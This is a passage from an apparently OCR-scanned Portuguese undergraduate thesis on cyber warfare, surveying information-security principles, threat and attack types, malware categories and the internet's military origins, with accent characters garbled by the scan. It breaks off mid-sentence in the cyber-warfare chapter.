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RESUMO

Gracas aos grandes avangos tecnoldgicos, o dia a dia das pessoas ficou repleto de facilidades.
A tecnologia esta presente nas mais diversas areas como na industria, no comércio e na area
académica. A sua existéncia traz facilidade, melhorias e agilidade aos processos de trabalho.
Mas nem tudo que a tecnologia oferece é benéfico, ela é uma ferramenta neutra que pode ser
utilizada para o bem ou para o mal. Existem aqueles que a utilizam para se beneficiarem de
forma ilicita, para se aproveitar e causar danos aos outros. Baseado no pensamento da sua
utilizacdo para todos e quaisquer fins, surge a preocupacao dela ser usada como um objeto de
ataque ou estar sendo transformada em uma arma. Diante disso, surge a necessidade, também,
de té-la como um objeto de defesa ou escudo. Por conseguinte, torna-se preocupante o uso das
tecnologias como ferramentas bélicas, aparecendo, assim, o contexto de Guerra Cibernética.
Este trabalho vem, sobretudo, contextualizar que a Guerra Cibernética é uma realidade, na qual
as ferramentas tecnoldgicas podem funcionar como armas. O trabalho exemplifica 0 Malware
(codigo malicioso) como uma destas ferramentas de ataque, mostrando o seu potencial
catastrofico em uma guerra, uma vez que ele pode ser inserido em um sistema e comegar a
danifica-lo sem ser notado ou se percebido, o ser tardiamente; possuindo o poder de devastar e

aterrorizar em segundos. Sendo assim, ele € um perigo que deve ser combatido.

Palavras-chave: tecnologia; guerra cibernética; malware.



ABSTRACT

Thanks to great technological advances, people's daily lives are full of ease. Technology is
present in the most diverse areas such as industry, commerce and academic area. Its existence
brings ease, improvements and agility to work processes. But not everything technology offers
is beneficial; it is a neutral tool that can be used for better or for worse. There are those who
use it to benefit themselves illegally, to take advantage of and harm others. Based on the thought
of its use for any and all purposes, concerns arise that it is being used as an object of attack or
being turned into a weapon. Therefore, the need also arises to have it as an object of defense or
shield. Therefore, the use of technologies as war tools becomes worrisome, thus appearing the
context of Cyber Warfare. This work comes, above all, to contextualize that Cyber War is a
reality, in which technological tools can function as weapons. The work exemplifies Malware
as one of these attack tools, showing its catastrophic potential in a war, since it can be inserted
into a system and start to damage it without being noticed or if noticed, the being belatedly;
possessing the power to devastate and terrify in seconds. As such, itis a danger that must be

fought.

Keywords: technology; cyberwar; malware.
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1 INTRODUCAO

No século XXI, tanto as pessoas como as empresas, organizacdes e o Estado estdo
dependentes da Tecnologia da Informacdo e Comunicacdo (TIC). Os sistemas de informacéo e
comunicacdo se tornaram a base do desenvolvimento econémico, social e intelectual da
humanidade. A tecnologia, com seu uso globalizado, traz consigo a otimizagdo do processo de
trabalho. O que antes era feito em dias, hoje pode ser feito em horas ou até mesmo em minutos.
Com a automatizacdo de processos, Nndo € mais necessario a presenca constante de uma pessoa
durante a execucdo de uma determinada tarefa. Essa melhoria de produtividade que atraiu as
empresas também atraiu o governo. As nac¢fes vém utilizando as tecnologias para armazenar
dados, operar, gerenciar e até mesmo controlar seus servicos. Os dados sao de grande valor para
as pessoas. Entdo, € notdria a sua importancia para uma nagao.

Cada dado que é gerado, cada informacdao sobre estratégias militares, sobre combate ao
crime, desenvolvimento econémico, pesquisas académicas, entre outros estd armazenado em
computadores. Computadores que por sua vez trocam informac6es entre si, ou seja, essas
informac@es trafegam todos os dias pelas redes internas (Intranets) e podem estar ligadas a
grande World Wide Web (Internet). Portanto, ter seguranca em TIC é fundamental.

Desde o comeco da humanidade, as nagdes se opdem umas as outras pelos mais diversos
motivos: politicos, religiosos, territoriais, étnicos; gerando assim, enormes conflitos e guerras.
Gracas ao rapido e crescente avanco tecnolégico, esses conflitos vém mudando de perspectiva.
Hoje a guerra é multidimensional, ndo se concentra somente na terra, na agua e no ar; ela tem
novos campos de batalha. O combate se estende para o espaco, para o espectro eletromagnético
e para o ciberespaco.

E nesse contexto que a guerra cibernética se enquadra, onde as Tecnologias de
Informacgédo e Comunicacgao sdo usadas como armas. De acordo com Mandarino e Canongia
(2010), a seguranga cibernética, desafio do século XXI, vem se destacando como fungéo
estratégica de Estado, sendo essencial a manutencgéo das infraestruturas criticas de um pais, tais
como energia, defesa, transporte, telecomunicagdes, financas, da propria informacéo, dentre
outras.

A guerra cibernética é uma realidade nos dias de hoje. A prova disso é o investimento
em massa das nacGes em sistemas informatizados de ataque e defesa. Este trabalho apresentara

exemplos de como o Malware pode ser utilizado como arma em ataques cibernéticos.
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1.1 OBJETIVOS

O presente trabalho objetiva fazer um estudo sobre a importancia da infraestrutura de
tecnologia da informacdo e comunicacdo para uma nagdo e o uso de Malwares em uma guerra
cibernética, separando o tema abordado em dois grupos:

a) 0 primeiro grupo visa introduzir a importancia da seguranca no ambiente de TIC,
atentando sobre seguranca cibernética de uma nacgéo e os efeitos ocasionados caso haja
falha;

b) no segundo, procura-se aprofundar o conhecimento sobre Malwares, exemplificando o
seu potencial como arma em guerras cibernéticas e citando os problemas causados por
seu uso, como também definindo até que ponto uma guerra cibernética pode ocasionar

uma guerra fisica.

1.2 METODOLOGIA

Neste documento serd utilizado um método de pesquisa bibliografica sistematizada de
conceitos que permite criar um estado da arte do tema proposto. Ela trard conceitos de seguranca
da informacdo, seguranca cibernética, Malware e guerra cibernética que sdo estudados na
literatura. Os conceitos serdo analisados e contextualizados em um cendrio de guerra cibernética

mostrando os riscos desta realidade.

1.3 ESTRUTURA DO TRABALHO

No primeiro capitulo deste trabalho, intitulado Seguranca da Informacéo, sdo definidos
0s conceitos basicos sobre seguranca da informacéo e sua importancia, assim, como conceitos
fundamentais sobre seguranca cibernética; mostrando a seguranca da informacdo focada no
ambito de seguranca nacional e a definicdo de defesa cibernética. No segundo capitulo,
Ameacas Cibernéticas, define-se 0s conceitos sobre o tema e sobre ataques cibernéticos e
exemplificam-se alguns tipos destes ataques. No terceiro capitulo Malwares, é definido o
conceito de Malware, como também seus tipos, seu modo de infec¢do e propagacéo e suas
aplicacdes. No quarto capitulo, Guerra Cibernética, define-se esse tipo de guerra e como ela
acontece. No quinto capitulo, Malwares em Guerra Cibernética, sera apresentado como 0s
Malwares vém sendo utilizados em guerras cibernéticas, porque essa disseminacéo e como essa
guerra terd efeitos no mundo fisico. Finalizando seré exibida uma verificagdo de Malware e

uma simulagdo de um ataque.
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2 SEGURANCA DA INFORMACAO

Com o avanco tecnoldgico, o computador e os dispositivos semelhantes vém se
transformando em ferramentas fundamentais no cotidiano das pessoas. Cada informacao que
antes era anotada em incontaveis folhas de papel esta sendo armazenada nos computadores. O
que também é notorio é que os dados agregam cada vez mais valor e com essa valorizag&o,
prezar pela seguranca deles vem se tornando cada vez mais importante. A partir desta
necessidade € que surge o conceito de seguranca da informacéo.

De acordo com Tanenbaum (2003), em sua forma mais simples, a seguranca se preocupa
em garantir que pessoas mal-intencionadas nédo leiam ou, pior ainda, modifiquem secretamente
mensagens enviadas a outros destinatarios.

Os computadores estdo conectados através de diversos dispositivos, formando assim
uma rede, e estas podem ser interligadas com outras redes. Esta interligacdo permite a troca
constante de dados e informagdes, formando a Internet.

Com a enorme quantidade de conexdo, existe uma disseminacdo de informacdes
importantes, muitas delas confidenciais e cruciais, trafegando pela rede global de
computadores. Preservar a seguranca em redes de computadores € outro ponto da seguranca da
informacdo, pois com o crescente valor agregado a cada informacdo, cresce o nimero de
pessoas ou entidades interessadas em manipular e/ou se apropriar delas.

Segundo Carissimi, Rochol e Granville (2009), a area de seguranga tornou-se um ponto
fundamental em redes de computadores em nossa atualidade. Pelo amplo aspecto dos problemas
de seguranca, diz-se que eles sdo alvo de estudo e implementacdo do que genericamente se
denomina seguranca da informacéo.

Uma conexdo com a internet € uma via de mao dupla, ou seja, se um computador A
pode acessar dados fora de sua rede, um computador B, de uma rede externa, pode obter acesso
a rede do computador A e ter acesso aos dados do computador A. Partindo dessa
exemplificacdo, percebe-se o quanto é vital que se priorize a seguranca da informacéo e o
guanto se tem que torna-la eficaz.

A seguranca em Tecnologia da Informagdo e Comunicac¢do tem o objetivo de inibir o
acesso a informacgfes e fornecer acesso seguro a quem tem o devido direito. Para isso a
seguranca em TIC preza por conceitos/pilares basicos, tais como: a confidencialidade, a
integridade, a disponibilidade, a autenticidade e o ndo repudio ou irretratabilidade. A Figura 1

ilustra a ideia dos pilares da seguranca da informacé&o.
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Figura 1 — Pilares da Seguranga da Informacéo
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Fonte: Elaboragdo prépria em 2015.

a) Disponibilidade

A disponibilidade esta ligada ao contexto de que quando um servico for posto em
funcionamento ele esteja disponivel a quem é de direito, no momento ao qual se for
necessario/solicitado, além de estar no estado adequado para a sua utilizacao.
b) Integridade

Na integridade, garante-se que a informacao néo sofreu modificacdo/alteracéo, ou seja,
mantém-se em seu estado original desde o momento em que foi salva. Ela garante que o dado
ndo foi comprometido.
¢) Confidencialidade

A confidencialidade é a propriedade que assegura 0 acesso da informacdo somente a
pessoas ou Grgdos estritamente autorizados.
d) Autenticidade

A autenticidade faz valer os itens anteriores, fazendo com que para 0 acesso seja

necessaria autenticacdo, garantia de que o conteudo confidencial é permitido a determinado

usuario/grupo.
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e) Né&o repudio ou Irretratabilidade

O né&o repudio ou irretratabilidade, é a garantia de que uma pessoa ou 0rgdo assuma a

responsabilidade pelo envio ou assinatura de uma determinada informacéo, ndo podendo negar

sua autoria.

A seguranca da informacéo € obtida a partir da implementacdo de um conjunto
de controles adequados, incluindo politicas, processos, procedimentos,
estruturas organizacionais e fungdes de software e hardware. Estes controles
precisam ser estabelecidos, implementados, monitorados, analisados
criticamente e melhorados, onde necessario, para garantir que 0s objetivos do
negocio e de seguranca da organizacdo sejam atendidos (ISO/IEC 27002,
2005).

Para um bom funcionamento da seguranca da informacéo, a organizacgao deve trabalhar

juntamente com seus funcionarios, além de um investimento e atualizacdo continuos. Podem-

se destacar entre as varias técnicas que mantém um SGSI as politicas de seguranca da

informacao, as quais sdo um conjunto de regras e definicdes com base na politica, nas normas

da instituicdo e nas leis vigentes para assegurar as boas praticas da seguranca da informacéo; e

nas ferramentas de controle de acesso, podendo ser fisicas (restricdo de acesso ao ambiente

computacional como portas, seguranca, cartao de acesso, entre outros) e Idgicas/virtual (uso de

usuario e senha, firewall, IDS, antivirus, criptografia, entre outros).

A informacdo e os processos de apoio, sistemas e redes sdo importantes ativos
para os negocios. Definir, alcancar, manter e melhorar a seguranca da
informacdo podem ser atividades essenciais para assegurar a competitividade,
o fluxo de caixa, a lucratividade, o atendimento aos requisitos legais e a
imagem da organizacao junto ao mercado (ISO/IEC 27002, 2005).

2.1 SEGURANCA CIBERNETICA

A seguranca cibernética é a protecdo e a garantia de se poder utilizar os ativos

computacionais que se encontram disponiveis. Ela tem o objetivo de eliminar ou reduzir as

vulnerabilidades do espaco cibernético.

Seguranca Cibernética é o conjunto de ferramentas, politicas, conceitos,
medidas, orientagcdes, abordagens de gerenciamento de riscos, acOes,
treinamento, boas praticas, garantias e tecnologias que podem ser usadas para
proteger 0 ambiente cibernético e os ativos das organizacdes e dos utilizadores
(ITU X.1205, 2008, tradugdo nossa).

1Texto original: Cybersecurity is the collection of tools, policies, security concepts, security safeguards, guidelines,
risk management approaches, actions, training, best practices, assurance and technologies that can be used to
protect the cyber environment and organization and user's assets
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A ideia principal sobre a seguranga cibernética é a de garantir que as redes de
comunicacdo estejam disponiveis para serem utilizadas, os ativos mantenedores da
infraestrutura critica estejam sempre operantes e caso ocorra uma falha na disponibilidade, ela
seja trazida a normalidade quase instantaneamente.

Segundo Mandarino e Canongia (2009), a seguranga cibernética é entendida como a arte
de assegurar a existéncia e a continuidade da sociedade da informagéo de uma nagéo, garantindo
e protegendo, no espaco cibernético, seus ativos de informacéo e suas infraestruturas criticas.
E, portanto, maior que seguranca em T1, pois envolve pessoas e processos.

Tendo em vista a importancia da seguranca em Tl para uma empresa, hada é mais légico
do que se imaginar a seguranca cibernética vital para uma nac&o. E na seguranga cibernética
que o pais protege sua infraestrutura, garantido a soberania nacional.

Ainda de acordo com Mandarino e Canongia (2010), a seguranca cibernética, portanto,
vem se caracterizando cada vez mais como uma funcgdo estratégica do Estado, e essencial a
manutencdo e preservacao das infraestruturas criticas de um pais, tais como energia, transporte,

telecomunicacdes, dguas, financas, informacao, dentre outras.

2.1.1 Defesa cibernética

Defesa cibernética é compreendida como a parte da seguranca cibernética que é voltada
para a protecdo ofensiva do espaco cibernético de uma nacéo.

De acordo com Mandarino (2011), entende-se, portanto, que seguranca cibernética
incorpora as a¢coes de prevencdo (incidentes) e repressao, enquanto a defesa cibernética abrange
acoes ofensivas e defensivas.

A nacdo deve utilizar de estratégias, medidas, equipamento e planos para que, assim que
se torne necessaria, a defesa cibernética entre em acdo, garantindo assim a preservacdo da
integridade das estruturas do pais. A defesa cibernética pode ser mais bem interpretada como a
reacao a qualquer ameaca oriunda do espaco cibernético que se caracterize como agressao ou
ameaca. Também cabe ao escopo da defesa cibernética a coleta de informacdo para inteligéncia

militar, uma vez que ela é capaz de prever ataques e causar danos aos inimigos.

3 AMEACAS CIBERNETICAS

Em ambientes computacionais existem diversas ameacas com as mais distintas

finalidades. Elas sdo a ocorréncia de algo que tem o potencial de infringir/violar os pilares da
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seguranca da informac&o. Ameaca é definida pela 1ISO/IEC 13335-1 (COMITE GESTOR DA
INTERNET NO BRASIL, 2004) como causa potencial de um incidente indesejado, a qual pode
resultar em dano para um sistema ou organizacao.

As organizacdes, seus sistemas de informacao e redes de computadores sao
expostos a diversos tipos de ameacas a seguranca da informacdo, incluindo
fraudes eletrbnicas, espionagem, sabotagem, vandalismo, incéndio e
inundacdo. Danos causados por cddigo malicioso, Hackers e ataques de
Denial of service estdo se tornando cada vez mais comuns, mais ambiciosos e
incrivelmente mais sofisticados (ISO/IEC 27002, 2005).

Segundo Hagel (2013), as ameacas cibernéticas representam um perigo "discreto,
furtivo e traicoeiro” para 0s EUA e outros paises, ele defendeu a criacdo de "regras de transito"
para orientar os comportamentos e evitar conflitos nas redes digitais globais.

As ameacas cibernéticas apresentam perigos e riscos de quantidades imensuraveis que
podem ser divididos em quatro niveis:

1) Crime de baixo-nivel/individual (Hacking): composta por individuos que detém
determinado conhecimento sobre tecnologia, mas depende de ferramentas pré-
compiladas de terceiros. Utilizam-se de scripts para realizar suas tarefas. N&o tendo
algum objetivo concreto. A invasdo é somente 0 que necessitam.

2) Criminalidade grave e organizada: um fator que infelizmente segue em evolucdo é a
criminalidade. Na éarea tecnologica ndo é diferente. Caracteriza-se aqui como a
“modernizacdo do crime organizado”, ¢ a migragao ou apoio tatico do crime tradicional.
Encontra-se aqui lavagem de dinheiro, roubo, estelionato, entre outros.

3) Extremismo politico e ideoldgico: esses grupos usam 0s recursos da internet para
comunicacdo, treinamento, geracdo de fundos, recrutamento, planejamento de ataques,
entre outros. Usam recursos como criptografias e esteganografia para permaneceram no
anonimato.

4) Patrocinados pelo Estado: nela o Estado utiliza a recursos computacionais para espionar,
roubar informacgdes e até mesmo atacar alvos que sejam considerados ofensivos a

seguranga nacional ou aos interesses econémicos da nagao.

De acordo com Mandarino Junior e Canongia (2010), as emergentes ameacas
cibernéticas mostram o quanto é preciso incrementar tanto a seguranca da informacao quanto a
cooperagdo internacional no sentido de evitar ou reduzir efeitos negativos de operacOes

cibernéticas antagbnicas. O tema ameagca cibernética deve ser resolvido em escala mundial,
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envolvendo o maior nimero de partes, de leis e de agéncias de todas as na¢des. Convencdes
tém de ser reescritas uma vez que a guerra cibernética confunde principios como os da
proporcionalidade, neutralidade e distingdo. As regras cibernéticas necessitam ser melhor

discutidas.

3.1 ATAQUES CIBERNETICOS

Ataque cibernético é a execucdo de uma acdo ofensiva, por meio de recursos de TIC,
com a finalidade de capturar, interromper, penetrar, adulterar, degradar e/ou destruir sistemas
e/ou redes de computadores. E a ameaga em execucao.

Ataques costumam ocorrer na internet com diversos objetivos, visando diferentes alvos
e usando variadas técnicas. Qualquer servico, computador ou rede que seja acessivel via internet
pode ser alvo de um ataque, assim como qualquer computador com acesso a internet pode
participar de um ataque (COMITE GESTOR DA INTERNET NO BRASIL, 2012).

Os ataques, dependendo do seu nivel, podem ter investimento e impactos maiores ou
menores, além de terem as mais variadas intenc@es. A Figura 2 mostra uma relacdo de ameaca
e intencdo. Na vertical vé-se que quanto mais baixo se encontra o atacante, significa que ele
possui menos conhecimento sobre vulnerabilidades, possui menos recursos e representa menor
ameaca para o seu alvo; enquanto que na linha horizontal mostra que quanto mais longe do
centro do grafico, maior deve ser o investimento em recurso, conhecimento e tecnologia e maior
sera 0 tempo gasto com pesquisa para o alvo ser atingido com sucesso. Assim, quanto mais alto
na figura e mais a direita, maior ameaca o atacante apresenta; e quanto maior o nivel se encontra

0 atacante, mais dano ele pode causar.
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Figura 2 — Relac&o investimento capacidade de ataque cibernético
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CAPACIDADE / INTENCAO

Fonte: Mandarino Junior (2009).

L 4

Na Figura 2, também é demonstrado, através de linhas coloridas abaixo de cada tipo de
atacante, uma tipificacdo criminal baseada na utilizacdo de tecnologia pelos atacantes. A cor
vermelha ilustra os crimes improprios, crimes esses que ndo necessariamente precisam de um
meio cibernético para existir, no qual a tecnologia € uma variacdo do crime, por exemplo, a
pornografia infantil. Na cor verde encontram-se 0s crimes préprios, crimes que sao realizados
somente por meio virtual, como o acesso indevido a uma base de dados. Representado pela cor
cinza estdo o0s crimes em que o objetivo é o proprio computador ou 0 ambiente computacional,
intitulados crimes propriamente ditos, exemplo deste é o terrorismo cibernético.

Esta mesma figura traz trés classes de alvos: Classe | — Pessoas, Classe 11 — Corporac¢des
e Classe 111 — Estado. A medida que o atacante cresce em capacidade, o alvo sofre variaco. A
Classe | esta mais vulneravel ao ataque dos atacantes com menor capacidade e recursos, mas
também esta incluida na lista de interesse do crime organizado. A Classe Il esta mais vulneravel
a atacantes com capacidade um pouco maior e com um pouco mais de recursos, o que inclui
também o crime organizado. Para atacar a Classe 111 € necessario a maior capacidade do grafico

e 0S maiores recursos.
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Para realizar ataque, o atacante utiliza diversas técnicas e ferramentas buscando por
vulnerabilidades, que nada mais s&o do que falhas no hardware e/ou software dos dispositivos.
O atacante pode entrar na rede do seu alvo e assim obter a informacdo que deseja ou pode
“derrubar” a rede, tornando o servigo indisponivel. Entre as técnicas podem ser citadas a
Engenharia Social (técnica que o atacante usa para persuadir o alvo), na qual uma pessoa €
levada a dar informagdes que o atacante pode usar para invadir o sistema; o Exploit (programa
que faz varredura a procura de vulnerabilidades), na qual o atacante descobre onde estdo as
falhas de seguranca e assim escolhe os melhores métodos para se infiltrar; Distributed Denial
of Service (DDoS) e o Denial of Service (DoS) — s@o ataques de negacao de servico — com eles
pode-se parar a disponibilidade de um determinado servico — 0 que muda entre os dois é
basicamente a dimensédo do ataque; Sniffers (programa de captura de trafego), no qual pode-se
analisar e capturar o trafego de rede e, a partir dos dados capturados, ter acesso a rede; Scan
(varredura de rede), na qual verifica-se na rede quais dispositivos possuem servigos e portas
abertas; e os Malwares (programas que rodam em Background causando agdes danosas no
sistema), nesta técnica existem varios tipos e formas de se realizar o ataque, geralmente, por
um descuido do usuario do sistema, esses softwares sdo instalados e comegcam a agir.

No setor privado, as empresas, bancos, bolsas de valores e industrias mantém a relacéo
com seus clientes e fornecedores dependentes das TICs. Elas realizam as transa¢des bancarias,
onde circulam milhares, milhGes e até bilhdes, através dos sistemas computadorizados. Quando
uma empresa sofre um ataque, tende a mostrar fragilidade, recebe a desconfianca dos clientes
e negocios de milhdes podem ser desfeitos.

No setor publico, o governo, a cada dia mais, gere 0s servicos de atencdo béasica a
populacdo com a tecnologia. Além dos sistemas de defesa da nacdo estarem conectados por
redes de dados sigilosos. Um ataque cibernético causa um negativismo sobre a soberania do
Estado e compromete a seguranga da populagéo.

Para Junior César Da Cruz (2013), na medida em que 0 bem-estar e a seguranca da
sociedade passam a depender da seguranca cibernética, ela se torna um dever do Estado e ndo

apenas mais uma questdo de maior ou menor prioridade de um governo.

4 MALWARES

Os Malwares (abreviagdo de Malicious software) ou codigos maliciosos, séo softwares

que em seus codigos contém instrucdes que apOs executadas causam acles danosas em
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equipamentos computacionais. Diz-se que quando foi consolidado o primeiro sistema
computacional, também se passou a criar o cddigo malicioso.

De acordo com o Comité Gestor da Internet do Brasil (2012), apds infectar o seu
computador, o cddigo malicioso pode executar acbes como se fosse vocé, como acessar
informac0es, apagar arquivos, conectar-se a internet, enviar mensagens e ainda instalar outros
cdédigos maliciosos.

S&o encontrados diversos tipos de Malwares com diferentes finalidades e formas de
propagacdo. Eles possuem as mais variadas formas de serem obtidos: via correio eletrénico,
redes sociais, dispositivos infectados; como também se alocam em dispositivos os deixando
vulneraveis ao atacante podendo se propagar por toda a rede.

Na Figura 3, mostra-se uma comparacao entre os tipos Malwares. Tomando o virus
como exemplo, pode-se concluir que esse tipo de codigo malicioso pode infectar o sistema
vindo de seis fontes diferentes, ele ¢ instalado a partir da execucdo de um arquivo infectado,
faz cdpias de si para se propagar e como acdes ele altera e/ou remove arquivos e procura se
manter escondido, ou seja, ele procura maneiras de ndo ser detectado pelo usuario, sistema

operacional e pelos programas.
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Figura 3— Comparagéo de Malware
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Fonte: Comité Gestor da Internet no Brasil (2015).

A seguir sdo apresentados os Malwares mais comuns e suas defini¢cGes de acordo com

a Cartilha de Seguranga para Internet do Centro de Estudos, Resposta e Tratamento de

Incidentes de Seguranca no Brasil (CERT.br):
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b)

d)

9)

virus: € um programa ou parte de um programa de computador, normalmente, malicioso,
0 qual se propaga inserindo copias de si mesmo e se tornando parte de outros programas
e arquivos. Para que possa se tornar ativo e dar continuidade ao processo de infeccao, o
virus depende da execucdo do programa ou arquivo hospedeiro, ou seja, para 0 seu
computador ser infectado é preciso que um programa ja infectado seja executado.
worm: é um programa capaz de se propagar automaticamente pelas redes, enviando
copias de si mesmo de computador para computador. Worms sdo notadamente
responsaveis por consumir muitos recursos, devido a grande quantidade de cépias de si
mesmo que costumam propagar e, como consequéncia, podem afetar o desempenho de
redes e a utilizagdo de computadores.

bot: é um programa que dispde de mecanismos de comunica¢do com o invasor que
permitem que ele seja controlado remotamente. Possui processo de infeccdo e
propagacdo similar ao do Worm, ou seja, é capaz de se propagar automaticamente,
explorando vulnerabilidades existentes em programas instalados em computadores.
spyware: € um programa projetado para monitorar as atividades de um sistema e enviar
as informacdes coletadas para terceiros. Pode ser usado tanto de forma legitima quanto
maliciosa, dependendo de como ¢é instalado, das acOes realizadas, do tipo de informacao
monitorada e do uso que € feito por quem recebe as informac@es coletadas.

keylogger: capaz de capturar e armazenar as teclas digitadas pelo usuério no teclado do
computador. Sua ativacdo, em muitos casos, € condicionada a uma acdo prévia do
usuario, como 0 acesso a um site especifico de comércio eletrdnico ou de Internet
banking.

screenlogger: similar ao Keylogger, capaz de armazenar a posi¢ao do cursor e a tela
apresentada no monitor, nos momentos em que o mouse € clicado ou a regido que
circunda a posicao onde ocorre o clique. E bastante utilizado por atacantes para capturar
as teclas digitadas pelos usuarios em teclados virtuais, disponiveis principalmente em
sites de Internet banking.

adware: projetado especificamente para apresentar propagandas. Pode ser usado para
fins legitimos, quando incorporado a programas e servigos, como forma de patrocinio
ou retorno financeiro para quem desenvolve programas livres ou presta servicos
gratuitos. Também pode ser usado para fins maliciosos, quando as propagandas
apresentadas sdo direcionadas, de acordo com a navegacao do usuario e sem que este

saiba que tal monitoramento esta sendo feito.
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h) backdoor: é um programa que permite o retorno de um invasor a um computador
comprometido, por meio da inclusdo de servigos criados ou modificados para este fim.

i) cavalo de troia, trojan ou trojan-horse: € um programa que, além de executar as funcdes
para as quais foi aparentemente projetado, também executa outras funcoes,
normalmente, maliciosas e sem o conhecimento do usuario.

Dentre os tipos de Malwares citados o virus se tornou 0 mais conhecido e faz-se o uso
de seu nome para generalizar os codigos maliciosos. Isso se deve ao fato dele ter seu home
baseado em seu correspondente biologico que afeta os seres humanos desde o inicio do
surgimento da humanidade.

Segundo Yuri Diogenes (2013), o primeiro virus criado era chamado de Creeper, sendo
a forma experimental de criar um programa que se auto multiplicava. Este virus foi criado por
Bob Thomas em 1971 e este infectou computadores ‘Digital Equipment Corporation’ (DEC)
PDP-10 executando sistemas operacional TENEX. Estes computadores eram interligados via
ARPANET, conhecida como predecessora da atual internet, e ao ser executada nos
computadores exibia a seguinte mensagem “Eu sou ‘Creeper’, pegue-me se puder!”. Um outro
programa chamado Reaper foi criado para remover o “Creeper”; seguindo a mesma linha de
pensamento podemos assim dizer que o Reaper foi o primeiro antivirus.

Apos o codigo malicioso estar instalado e em execucdo, o atacante terd acesso ao sistema
alheio e poderd molda-lo a maneira que desejar até que a vulnerabilidade seja descoberta e
solucionada, o0 que em intmeras vezes é tardio.

O Malware € distribuido pelo atacante na internet, ficando a espera de infectar um
computador. Para realizar a infecgdo, o atacante desfruta de inimeras técnicas, como foi visto
na Tabela 1, entre elas o spam.

O spam caracteriza-se pelo envio em massa de e-mails para incontaveis destinatarios,
apos receber um e-mail, o usuério executa alguma operacéo, por exemplo, o download e o

computador é infectado. A Figura 4 relata um exemplo de propagacgédo de codigo malicioso.
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Figura 4 — Distribuigdo de Malware
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Fonte: Hoepers e Steding-Jessen (2015).

Outra forma em que o Malware é distribuido € através de sites ndo confidveis. Uma
determinada pessoa, a qual ndo detém um bom conhecimento de informatica, acessa um site
desconhecido e inseguro para baixar um software ao qual ela precisa. Ao realizar o download,
juntamente com o programa desejado ou até ao invés dele, o codigo malicioso é instalado.
Muitas vezes ndo é necessario estar buscando um programa, o site informa que para continuar
acessando-o é necessario fazer o download e instalacdo de um software e este contém o
Malware.

De acordo com Emerson Wendt (2011), uma ac¢ao no ciberespaco, em grande escala e
bem planejada, pode fazer com que cavalos de troia, virus, Worms etc. possam ser espalhados
pela rede através de paginas web, de e-mails (Phishing scam), de comunicadores instantaneos
(Windows Live Messenger, Pidgin, GTalk etc.) e de redes sociais (Orkut, Twitter, Facebook
etc.), entre outras formas possiveis.

Os Malwares tém um enorme potencial para serem usados como armas cibernéticas,
sejam por quadrilhas de crime organizadas, por “curiosos” ou por nagoes.

De acordo com Clarke (2015), os paises ja estdo se infiltrando nas redes uns dos outros
e instalando Backdoors para terem acesso rapido a essas redes quando precisarem. E a partir

deste ponto de vista que se pode falar sobre guerra cibernética.

26



5 GUERRA CIBERNETICA

O surgimento da Internet e sua evolucdo desde a ARPANET, vide detalhamento na
Figura 5, tem seus lagos no militarismo, uma vez que ela foi desenvolvida com o objetivo de
interligar os computadores do governo americano pela Agéncia de Projetos de Pesquisas
Avancadas do Departamento de Defesa dos EUA (Department of Defense Advanced Research
Projects Agency (DARPA)).

Segundo Tanenbaum (2011), as primeiras redes de computadores tiveram inicio no final
da década de 1950. No auge da Guerra Fria, 0 Departamento de Defesa dos Estados Unidos
queria uma rede de controle e comando capaz de sobreviver a uma guerra nuclear. Nessa época,
todas as comunicacGes militares passavam pela rede publica de telefonia, considerada
vulneravel.

Figura 5 — Cronologia da Internet

Ano Evento
1969 ARPANET autorizada pelo DOD
1970 ARPANET adota o Network Control Protocol (NCP)
1971 23 hosts na ARPANET
1972 Especificacdo do Telnet
1973 Especificacdo do File Transfer Protocol (FTP)
1974 Especificacdo do Transmission Control Protocol (TCP)
1975 Primeiro mailing list da ARPANET (MsgGroup)
1978 TCP subdividido em TCP e IP
1981 Publicacéo do Standard Internet Protocal (IP)
1982 TCP e IP definidos como suite pela ARPA e DCA
1983 Substituicdo do NCT pelo TCP/IP (flag day)
1984 Surgimento do DNS1986: Criacéo da NFSNet
1986 Criagéo da |IETF e da IRTF pela IAB
1987 10.000 hosts na NFSNet
1989 100.000 hosts na NFSNet
1990 ARPANET deixa de existir

Brasil se conecta & NFSNet
1992 Criacéo da I1SOC
1993 Criacéo do InterNIC
1994 Inicio do uso comercial da Internet no Brasil
1996 Guerra dos browsers: Microsoft x Netscape
1999 60.000.000 de hosts na Internet

Fonte: Palma e Prates (2000).
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Para Theiler (2011), nos ultimos vinte anos, a informética desenvolveu-se muito, de
ferramenta administrativa cujo objetivo era otimizar 0s processos administrativos, tornou-se
um instrumento estratégico para a industria, a administracédo e as forcas armadas.

A cada dia que se passa a humanidade vem procurando desenvolver projetos com maior
velocidade, com maior eficiéncia e precisdo. Esta busca por melhores resultados gera uma
competividade. Isso ndo é diferente entre as nagdes. Desenvolver uma melhor tecnologia de
infraestrutura, defesa e ataque vem sendo um dos objetivos dos paises na atualidade.

Como relata Araujo (2011), a guerra cibernética nada mais € que a evolugdo do modo
de batalha que a humanidade vem aprimorando com o decorrer do tempo. Esta nova batalha se
destaca pelo aparato tecnoldgico, na qual o objetivo principal da nacdo envolvida é dominar,
controlar ou destruir a forca do inimigo, por meio da invasdo de seus sistemas de controle
informatizados.

Iniciou-se uma “nova corrida espacial”, onde desta vez o objetivo ndo ¢ mais criar uma
tecnologia que permita a humanidade viajar ao espaco, trata-se do desenvolvimento de um
equipamento bélico que possa atuar sozinho ou aliado aos armamentos tradicionais,
destacando-se pelo menor esforco fisico possivel.

Vale a pena salientar que na era da informacéo existe uma situacdo semelhante a Guerra
Fria. Onde antes se demonstrava a grandeza, autonomia e soberania militar de um pais através
do desenvolvimento de cagas mais velozes, tanques mais sofisticados, misseis mais destrutivos,
entre outros; hoje, desenvolver métodos informatizados de controlar e/ou extrair informacdes
dos equipamentos do inimigo torna visivel o poder de uma nacdo. A guerra, que antes s6 poderia
se encontrar na terra, no ar, na agua e/ou no espaco; hoje, tem o quinto dominio: o ciberespaco.
E no ciberespaco que a guerra cibernética vai ser travada.

Segundo Carvalho (2011), em tempos mais recentes, com o advento da Era da
Informacéo e sua sucedanea, a Era do Conhecimento, a informacdo foi algada a categoria de
ativo estratégico para organizacoes e Estados-Nacéo, conferindo aqueles que a detém e dela se
utilizam, efetiva e oportunamente, uma inquestionavel vantagem no ambiente competitivo e
nos contenciosos internacionais.

A guerra cibernética tornou os combates entre 0s paises menos sangrentos, embora ndo
torne extinto o derramamento de sangue, mas o simples fato de uma ameaca poder ser feita a
quildmetros de distancia, sem a necessidade de sacrificar um soldado em campo de batalha, ja
